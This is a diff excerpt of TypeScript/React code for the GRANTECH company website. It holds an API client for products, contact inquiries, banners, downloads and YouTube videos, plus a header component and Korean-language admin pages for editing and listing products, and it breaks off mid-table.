fetchApi<Product[]>(`/products/?lang=${lang}`),
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Product>(`/products/${id}?lang=${lang}`),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<ProductAdmin[]>("/products/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<ProductAdmin>(`/products/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<ProductAdmin>, token: string) =>
|
||||
fetchApi<ProductAdmin>("/products/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<ProductAdmin>, token: string) =>
|
||||
fetchApi<ProductAdmin>(`/products/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/products/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (productId: number, file: File, isMain: boolean, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/products/admin/${productId}/upload-image?is_main=${isMain}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminDeleteImage: (imageId: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/products/admin/images/${imageId}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Contact API
|
||||
export interface ContactSettings {
|
||||
phone?: string;
|
||||
email?: string;
|
||||
address?: string;
|
||||
weekday_hours?: string;
|
||||
weekend_hours?: string;
|
||||
}
|
||||
|
||||
export interface ContactSettingsAdmin {
|
||||
id: number;
|
||||
phone?: string;
|
||||
email?: string;
|
||||
address_ko?: string;
|
||||
address_en?: string;
|
||||
address_ja?: string;
|
||||
address_zh?: string;
|
||||
weekday_hours?: string;
|
||||
weekend_hours?: string;
|
||||
}
|
||||
|
||||
export interface ContactInquiry {
|
||||
id: number;
|
||||
name: string;
|
||||
email: string;
|
||||
phone?: string;
|
||||
company?: string;
|
||||
message: string;
|
||||
status: string;
|
||||
created_at?: string;
|
||||
}
|
||||
|
||||
export const contactApi = {
|
||||
// Public
|
||||
getSettings: (lang: string = "ko") =>
|
||||
fetchApi<ContactSettings>(`/contact/settings?lang=${lang}`),
|
||||
|
||||
submitInquiry: (data: { name: string; email: string; phone?: string; company?: string; message: string }) =>
|
||||
fetchApi<ContactInquiry>("/contact/inquiry", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
}),
|
||||
|
||||
// Admin
|
||||
adminGetSettings: (token: string) =>
|
||||
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", { token }),
|
||||
|
||||
adminUpdateSettings: (data: Partial<ContactSettingsAdmin>, token: string) =>
|
||||
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminGetInquiries: (token: string, status?: string) => {
|
||||
const params = status ? `?status=${status}` : "";
|
||||
return fetchApi<ContactInquiry[]>(`/contact/admin/inquiries${params}`, { token });
|
||||
},
|
||||
|
||||
adminGetInquiry: (id: number, token: string) =>
|
||||
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}`, { token }),
|
||||
|
||||
adminUpdateInquiryStatus: (id: number, status: string, token: string) =>
|
||||
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}/status`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify({ status }),
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Banner API
|
||||
export const bannerApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
fetchApi<Banner[]>(`/banners/?lang=${lang}`),
|
||||
|
||||
getSettings: () =>
|
||||
fetchApi<BannerSettings>("/banners/settings"),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<BannerAdmin[]>("/banners/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<BannerAdmin>(`/banners/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<BannerAdmin>, token: string) =>
|
||||
fetchApi<BannerAdmin>("/banners/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<BannerAdmin>, token: string) =>
|
||||
fetchApi<BannerAdmin>(`/banners/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/banners/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (file: File, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/banners/admin/upload-image`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminUpdateSettings: (data: Partial<BannerSettings>, token: string) =>
|
||||
fetchApi<BannerSettings>("/banners/admin/settings", {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Downloads API
|
||||
export interface Download {
|
||||
id: number;
|
||||
title: string;
|
||||
description?: string;
|
||||
category?: string;
|
||||
file_url: string;
|
||||
thumbnail?: string;
|
||||
download_count: number;
|
||||
}
|
||||
|
||||
export interface DownloadAdmin {
|
||||
id: number;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
category_ko?: string;
|
||||
category_en?: string;
|
||||
category_ja?: string;
|
||||
category_zh?: string;
|
||||
file_url: string;
|
||||
file_name?: string;
|
||||
file_size?: number;
|
||||
version?: string;
|
||||
thumbnail?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
download_count: number;
|
||||
}
|
||||
|
||||
export interface DownloadRequest {
|
||||
id: number;
|
||||
download_id: number;
|
||||
download_title?: string;
|
||||
email: string;
|
||||
newsletter_agreed: boolean;
|
||||
country?: string;
|
||||
country_code?: string;
|
||||
requested_at?: string;
|
||||
}
|
||||
|
||||
export const downloadsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
fetchApi<Download[]>(`/downloads/?lang=${lang}`),
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Download>(`/downloads/${id}?lang=${lang}`),
|
||||
|
||||
requestDownload: (id: number, email?: string, newsletterAgreed?: boolean, skipEmail?: boolean) =>
|
||||
fetchApi<{ download_url: string; file_name: string }>(`/downloads/${id}/request`, {
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
email: email || null,
|
||||
newsletter_agreed: newsletterAgreed || false,
|
||||
skip_email: skipEmail || false
|
||||
}),
|
||||
}),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<DownloadAdmin[]>("/downloads/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<DownloadAdmin>, token: string) =>
|
||||
fetchApi<DownloadAdmin>("/downloads/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<DownloadAdmin>, token: string) =>
|
||||
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/downloads/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpload: async (file: File, fileType: string = "file", token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/downloads/admin/upload?file_type=${fileType}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminGetRequests: (token: string, newsletterOnly: boolean = false) =>
|
||||
fetchApi<DownloadRequest[]>(`/downloads/admin/requests?newsletter_only=${newsletterOnly}`, { token }),
|
||||
|
||||
adminGetStats: (token: string) =>
|
||||
fetchApi<{ total_requests: number; newsletter_subscribers: number; unique_emails: number }>(
|
||||
"/downloads/admin/requests/stats",
|
||||
{ token }
|
||||
),
|
||||
};
|
||||
|
||||
// Content Videos API (YouTube)
|
||||
export interface ContentVideo {
|
||||
id: number;
|
||||
youtube_id: string;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
entity_type: "project" | "solution" | "product";
|
||||
entity_id: number;
|
||||
display_order: number;
|
||||
is_active: boolean;
|
||||
youtube_url: string;
|
||||
youtube_embed_url: string;
|
||||
thumbnail_url: string;
|
||||
created_at?: string;
|
||||
updated_at?: string;
|
||||
}
|
||||
|
||||
export interface ContentVideoPublic {
|
||||
id: number;
|
||||
youtube_id: string;
|
||||
title: string;
|
||||
description?: string;
|
||||
youtube_url: string;
|
||||
youtube_embed_url: string;
|
||||
thumbnail_url: string;
|
||||
display_order: number;
|
||||
}
|
||||
|
||||
export interface ContentVideoCreate {
|
||||
youtube_id: string;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
entity_type: "project" | "solution" | "product";
|
||||
entity_id: number;
|
||||
display_order?: number;
|
||||
is_active?: boolean;
|
||||
}
|
||||
|
||||
export const contentVideosApi = {
|
||||
// Public
|
||||
getForEntity: (entityType: string, entityId: number, locale: string = "ko") =>
|
||||
fetchApi<ContentVideoPublic[]>(
|
||||
`/content-videos/entity/${entityType}/${entityId}?locale=${locale}`
|
||||
),
|
||||
|
||||
// Admin
|
||||
adminList: (token: string, entityType?: string, entityId?: number) => {
|
||||
const params = new URLSearchParams();
|
||||
if (entityType) params.append("entity_type", entityType);
|
||||
if (entityId) params.append("entity_id", entityId.toString());
|
||||
const query = params.toString();
|
||||
return fetchApi<ContentVideo[]>(
|
||||
`/content-videos/admin/list${query ? "?" + query : ""}`,
|
||||
{ token }
|
||||
);
|
||||
},
|
||||
|
||||
adminGet: (id: number, token: string) =>
|
||||
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: ContentVideoCreate, token: string) =>
|
||||
fetchApi<ContentVideo>("/content-videos/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<ContentVideoCreate>, token: string) =>
|
||||
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/content-videos/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminReorder: (entityType: string, entityId: number, videoIds: number[], token: string) =>
|
||||
fetchApi<{ message: string }>(
|
||||
`/content-videos/admin/reorder?entity_type=${entityType}&entity_id=${entityId}`,
|
||||
{
|
||||
method: "PUT",
|
||||
body: JSON.stringify(videoIds),
|
||||
token,
|
||||
}
|
||||
),
|
||||
};
|
||||
153
temp_header.tsx
Normal file
153
temp_header.tsx
Normal file
@@ -0,0 +1,153 @@
|
||||
"use client";
|
||||
|
||||
import { useState, useEffect } from "react";
|
||||
import Link from "next/link";
|
||||
import { useRouter, usePathname } from "next/navigation";
|
||||
import { Menu, X } from "lucide-react";
|
||||
import { useLanguage } from "@/contexts/LanguageContext";
|
||||
import LanguageSelector from "./LanguageSelector";
|
||||
|
||||
export default function Header() {
|
||||
const { t } = useLanguage();
|
||||
const router = useRouter();
|
||||
const pathname = usePathname();
|
||||
const [isScrolled, setIsScrolled] = useState(false);
|
||||
const [isMobileMenuOpen, setIsMobileMenuOpen] = useState(false);
|
||||
|
||||
const navItems = [
|
||||
{ name: t("nav", "about"), href: "/#about" },
|
||||
{ name: t("nav", "technology"), href: "/#technology" },
|
||||
{ name: t("nav", "projects"), href: "/#projects" },
|
||||
{ name: t("nav", "solutions"), href: "/#solutions" },
|
||||
{ name: t("nav", "products"), href: "/#products" },
|
||||
{ name: t("nav", "downloads"), href: "/downloads" },
|
||||
{ name: t("nav", "contact"), href: "/#contact" },
|
||||
];
|
||||
|
||||
useEffect(() => {
|
||||
const handleScroll = () => {
|
||||
setIsScrolled(window.scrollY > 50);
|
||||
};
|
||||
window.addEventListener("scroll", handleScroll);
|
||||
return () => window.removeEventListener("scroll", handleScroll);
|
||||
}, []);
|
||||
|
||||
// Handle hash scroll after navigation
|
||||
useEffect(() => {
|
||||
if (pathname === "/" && window.location.hash) {
|
||||
const hash = window.location.hash.substring(1);
|
||||
setTimeout(() => {
|
||||
const element = document.getElementById(hash);
|
||||
if (element) {
|
||||
element.scrollIntoView({ behavior: "smooth" });
|
||||
}
|
||||
}, 100);
|
||||
}
|
||||
}, [pathname]);
|
||||
|
||||
const handleNavClick = (e: React.MouseEvent<HTMLAnchorElement>, href: string) => {
|
||||
// If it's not a hash link, let it navigate normally
|
||||
if (!href.includes("#")) {
|
||||
return;
|
||||
}
|
||||
|
||||
e.preventDefault();
|
||||
const hash = href.split("#")[1];
|
||||
|
||||
if (pathname === "/") {
|
||||
// Already on homepage, just scroll
|
||||
const element = document.getElementById(hash);
|
||||
if (element) {
|
||||
element.scrollIntoView({ behavior: "smooth" });
|
||||
}
|
||||
} else {
|
||||
// Navigate to homepage first, then scroll
|
||||
router.push(href);
|
||||
}
|
||||
|
||||
setIsMobileMenuOpen(false);
|
||||
};
|
||||
|
||||
return (
|
||||
<header
|
||||
className={`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${
|
||||
isScrolled
|
||||
? "bg-white/95 backdrop-blur-sm shadow-md"
|
||||
: "bg-transparent"
|
||||
}`}
|
||||
>
|
||||
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
|
||||
<div className="flex items-center justify-between h-16 md:h-20">
|
||||
{/* Logo */}
|
||||
<Link href="/" className="flex items-center space-x-2">
|
||||
<span
|
||||
className={`text-2xl font-bold transition-colors ${
|
||||
isScrolled ? "text-[#1E3A8A]" : "text-white"
|
||||
}`}
|
||||
>
|
||||
GRANTECH
|
||||
</span>
|
||||
</Link>
|
||||
|
||||
{/* Desktop Navigation */}
|
||||
<nav className="hidden md:flex items-center space-x-6">
|
||||
{navItems.map((item) => (
|
||||
<a
|
||||
key={item.href}
|
||||
href={item.href}
|
||||
onClick={(e) => handleNavClick(e, item.href)}
|
||||
className={`text-sm font-medium transition-colors hover:text-[#3B82F6] ${
|
||||
isScrolled ? "text-gray-700" : "text-white"
|
||||
}`}
|
||||
>
|
||||
{item.name}
|
||||
</a>
|
||||
))}
|
||||
<LanguageSelector isScrolled={isScrolled} />
|
||||
</nav>
|
||||
|
||||
{/* Mobile Menu Button */}
|
||||
<div className="flex items-center md:hidden space-x-2">
|
||||
<LanguageSelector isScrolled={isScrolled} />
|
||||
<button
|
||||
className="p-2"
|
||||
onClick={() => setIsMobileMenuOpen(!isMobileMenuOpen)}
|
||||
>
|
||||
{isMobileMenuOpen ? (
|
||||
<X
|
||||
className={`w-6 h-6 ${
|
||||
isScrolled ? "text-gray-700" : "text-white"
|
||||
}`}
|
||||
/>
|
||||
) : (
|
||||
<Menu
|
||||
className={`w-6 h-6 ${
|
||||
isScrolled ? "text-gray-700" : "text-white"
|
||||
}`}
|
||||
/>
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Mobile Menu */}
|
||||
{isMobileMenuOpen && (
|
||||
<div className="md:hidden bg-white border-t">
|
||||
<nav className="py-4 space-y-2">
|
||||
{navItems.map((item) => (
|
||||
<a
|
||||
key={item.href}
|
||||
href={item.href}
|
||||
onClick={(e) => handleNavClick(e, item.href)}
|
||||
className="block px-4 py-2 text-gray-700 hover:bg-gray-50 hover:text-[#3B82F6]"
|
||||
>
|
||||
{item.name}
|
||||
</a>
|
||||
))}
|
||||
</nav>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</header>
|
||||
);
|
||||
}
|
||||
207
temp_products_edit_page.tsx
Normal file
207
temp_products_edit_page.tsx
Normal file
@@ -0,0 +1,207 @@
|
||||
"use client";
|
||||
|
||||
import { useEffect, useState } from "react";
|
||||
import { useRouter, useParams } from "next/navigation";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { productsApi, ProductAdmin, getUploadUrl } from "@/lib/api";
|
||||
import ProductForm from "@/components/admin/ProductForm";
|
||||
import { Loader2, Upload, Trash2 } from "lucide-react";
|
||||
import YouTubeVideoManager from "@/components/admin/YouTubeVideoManager";
|
||||
|
||||
export default function EditProductPage() {
|
||||
const { token } = useAuth();
|
||||
const router = useRouter();
|
||||
const params = useParams();
|
||||
const productId = Number(params.id);
|
||||
|
||||
const [product, setProduct] = useState<ProductAdmin | null>(null);
|
||||
const [isLoading, setIsLoading] = useState(true);
|
||||
const [isSubmitting, setIsSubmitting] = useState(false);
|
||||
const [isUploading, setIsUploading] = useState(false);
|
||||
|
||||
const fetchProduct = async () => {
|
||||
if (!token) return;
|
||||
try {
|
||||
const data = await productsApi.adminGetOne(productId, token);
|
||||
setProduct(data);
|
||||
} catch (err) {
|
||||
alert("제품을 찾을 수 없습니다.");
|
||||
router.push("/admin/products");
|
||||
} finally {
|
||||
setIsLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
fetchProduct();
|
||||
}, [token, productId]);
|
||||
|
||||
const handleSubmit = async (data: any) => {
|
||||
if (!token) return;
|
||||
setIsSubmitting(true);
|
||||
|
||||
try {
|
||||
await productsApi.adminUpdate(productId, data, token);
|
||||
alert("저장되었습니다.");
|
||||
fetchProduct();
|
||||
} catch (err) {
|
||||
alert("저장에 실패했습니다.");
|
||||
} finally {
|
||||
setIsSubmitting(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleImageUpload = async (
|
||||
e: React.ChangeEvent<HTMLInputElement>,
|
||||
isMain: boolean
|
||||
) => {
|
||||
if (!token || !e.target.files?.[0]) return;
|
||||
|
||||
setIsUploading(true);
|
||||
try {
|
||||
await productsApi.adminUploadImage(
|
||||
productId,
|
||||
e.target.files[0],
|
||||
isMain,
|
||||
token
|
||||
);
|
||||
fetchProduct();
|
||||
} catch (err) {
|
||||
alert("이미지 업로드에 실패했습니다.");
|
||||
} finally {
|
||||
setIsUploading(false);
|
||||
e.target.value = "";
|
||||
}
|
||||
};
|
||||
|
||||
const handleDeleteImage = async (imageId: number) => {
|
||||
if (!token || !confirm("이미지를 삭제하시겠습니까?")) return;
|
||||
|
||||
try {
|
||||
await productsApi.adminDeleteImage(imageId, token);
|
||||
fetchProduct();
|
||||
} catch (err) {
|
||||
alert("이미지 삭제에 실패했습니다.");
|
||||
}
|
||||
};
|
||||
|
||||
if (isLoading) {
|
||||
return (
|
||||
<div className="flex items-center justify-center h-64">
|
||||
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!product) return null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<h1 className="text-2xl font-bold text-gray-900 mb-8">제품 수정</h1>
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
|
||||
{/* Form */}
|
||||
<div className="lg:col-span-2">
|
||||
<ProductForm
|
||||
initialData={product}
|
||||
onSubmit={handleSubmit}
|
||||
isSubmitting={isSubmitting}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Image Upload */}
|
||||
<div className="space-y-6">
|
||||
{/* Main Image */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4">대표 이미지</h3>
|
||||
{product.main_image ? (
|
||||
<div className="relative">
|
||||
<img
|
||||
src={getUploadUrl(product.main_image)}
|
||||
alt="Main"
|
||||
className="w-full h-48 object-cover rounded-lg"
|
||||
/>
|
||||
<label className="absolute bottom-2 right-2 px-3 py-1.5 bg-white/90 text-sm font-medium rounded-lg cursor-pointer hover:bg-white transition-colors">
|
||||
변경
|
||||
<input
|
||||
type="file"
|
||||
accept="image/*"
|
||||
className="hidden"
|
||||
onChange={(e) => handleImageUpload(e, true)}
|
||||
disabled={isUploading}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
) : (
|
||||
<label className="flex flex-col items-center justify-center h-48 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
|
||||
{isUploading ? (
|
||||
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
|
||||
) : (
|
||||
<>
|
||||
<Upload className="w-8 h-8 text-gray-400 mb-2" />
|
||||
<span className="text-sm text-gray-500">
|
||||
클릭하여 업로드
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
<input
|
||||
type="file"
|
||||
accept="image/*"
|
||||
className="hidden"
|
||||
onChange={(e) => handleImageUpload(e, true)}
|
||||
disabled={isUploading}
|
||||
/>
|
||||
</label>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Additional Images */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4">추가 이미지</h3>
|
||||
<div className="grid grid-cols-2 gap-3 mb-4">
|
||||
{product.images?.map((img) => (
|
||||
<div key={img.id} className="relative group">
|
||||
<img
|
||||
src={getUploadUrl(img.image_url)}
|
||||
alt=""
|
||||
className="w-full h-24 object-cover rounded-lg"
|
||||
/>
|
||||
<button
|
||||
onClick={() => handleDeleteImage(img.id)}
|
||||
className="absolute top-1 right-1 p-1 bg-red-500 text-white rounded opacity-0 group-hover:opacity-100 transition-opacity"
|
||||
>
|
||||
<Trash2 className="w-4 h-4" />
|
||||
</button>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
<label className="flex items-center justify-center py-3 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
|
||||
{isUploading ? (
|
||||
<Loader2 className="w-5 h-5 animate-spin text-[#3B82F6]" />
|
||||
) : (
|
||||
<>
|
||||
<Upload className="w-5 h-5 text-gray-400 mr-2" />
|
||||
<span className="text-sm text-gray-500">이미지 추가</span>
|
||||
</>
|
||||
)}
|
||||
<input
|
||||
type="file"
|
||||
accept="image/*"
|
||||
className="hidden"
|
||||
onChange={(e) => handleImageUpload(e, false)}
|
||||
disabled={isUploading}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{/* YouTube Videos */}
|
||||
<YouTubeVideoManager
|
||||
entityType="product"
|
||||
entityId={productId}
|
||||
entityTitle={product.name_ko}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
204
temp_products_list_page.tsx
Normal file
204
temp_products_list_page.tsx
Normal file
@@ -0,0 +1,204 @@
|
||||
"use client";
|
||||
|
||||
import { useEffect, useState } from "react";
|
||||
import Link from "next/link";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { productsApi, ProductAdmin, getUploadUrl } from "@/lib/api";
|
||||
import {
|
||||
Plus,
|
||||
Pencil,
|
||||
Trash2,
|
||||
Eye,
|
||||
EyeOff,
|
||||
Loader2,
|
||||
Image as ImageIcon,
|
||||
} from "lucide-react";
|
||||
|
||||
export default function ProductsListPage() {
|
||||
const { token } = useAuth();
|
||||
const [products, setProducts] = useState<ProductAdmin[]>([]);
|
||||
const [isLoading, setIsLoading] = useState(true);
|
||||
|
||||
const fetchProducts = async () => {
|
||||
if (!token) return;
|
||||
try {
|
||||
const data = await productsApi.adminGetAll(token);
|
||||
setProducts(data);
|
||||
} catch (err) {
|
||||
console.error("Failed to fetch products:", err);
|
||||
} finally {
|
||||
setIsLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
fetchProducts();
|
||||
}, [token]);
|
||||
|
||||
const handleDelete = async (id: number) => {
|
||||
if (!token || !confirm("정말 삭제하시겠습니까?")) return;
|
||||
|
||||
try {
|
||||
await productsApi.adminDelete(id, token);
|
||||
setProducts(products.filter((p) => p.id !== id));
|
||||
} catch (err) {
|
||||
alert("삭제에 실패했습니다.");
|
||||
}
|
||||
};
|
||||
|
||||
const toggleActive = async (product: ProductAdmin) => {
|
||||
if (!token) return;
|
||||
|
||||
try {
|
||||
await productsApi.adminUpdate(
|
||||
product.id,
|
||||
{ is_active: !product.is_active },
|
||||
token
|
||||
);
|
||||
setProducts(
|
||||
products.map((p) =>
|
||||
p.id === product.id ? { ...p, is_active: !p.is_active } : p
|
||||
)
|
||||
);
|
||||
} catch (err) {
|
||||
alert("상태 변경에 실패했습니다.");
|
||||
}
|
||||
};
|
||||
|
||||
if (isLoading) {
|
||||
return (
|
||||
<div className="flex items-center justify-center h-64">
|
||||
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center justify-between mb-8">
|
||||
<h1 className="text-2xl font-bold text-gray-900">제품 관리</h1>
|
||||
<Link
|
||||
href="/admin/products/new"
|
||||
className="flex items-center px-4 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors"
|
||||
>
|
||||
<Plus className="w-5 h-5 mr-2" />
|
||||
새 제품
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
|
||||
<table className="w-full">
|
||||
<thead className="bg-gray-50 border-b">
|
||||
<tr>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
이미지
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
제품명
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
카테고리
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
아이콘
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
순서
|
||||
</th>
|
||||
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
|
||||
상태
|
||||
</th>
|
||||
<th className="px-6 py-4 text-right text-sm font-medium text-gray-500">
|
||||
관리
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="divide-y">
|
||||
{products.length === 0 ? (
|
||||
<tr>
|
||||
<td colSpan={7} className="px-6 py-12 text-center text-gray-500">
|
||||
등록된 제품이 없습니다.
|
||||
</td>
|
||||
</tr>
|
||||
) : (
|
||||
products.map((product) => (
|
||||
<tr key={product.id} className="hover:bg-gray-50">
|
||||
<td className="px-6 py-4">
|
||||
{product.main_image ? (
|
||||
<img
|
||||
src={getUploadUrl(product.main_image)}
|
||||
alt={product.name_ko}
|
||||
className="w-16 h-12 object-cover rounded"
|
||||
/>
|
||||
) : (
|
||||
<div className="w-16 h-12 bg-gray-100 rounded flex items-center justify-center">
|
||||
<ImageIcon className="w-5 h-5 text-gray-400" />
|
||||
</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="px-6 py-4">
|
||||
<div className="font-medium text-gray-900">
|
||||
{product.name_ko}
|
||||
</div>
|
||||
{product.name_en && (
|
||||
<div className="text-sm text-gray-500">
|
||||
{product.name_en}
|
||||
</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="px-6 py-4 text-sm text-gray-600">
|
||||
{product.category_ko || "-"}
|
||||
</td>
|
||||
<td className="px-6 py-4 text-sm text-gray-600">
|
||||
{product.icon || "-"}
|
||||
</td>
|
||||
<td className="px-6 py-4 text-sm text-gray-600">
|
||||
{product.display_order}
|
||||
</td>
|
||||
<td className="px-6 py-4">
|
||||
<button
|
||||
onClick={() => toggleActive(product)}
|
||||
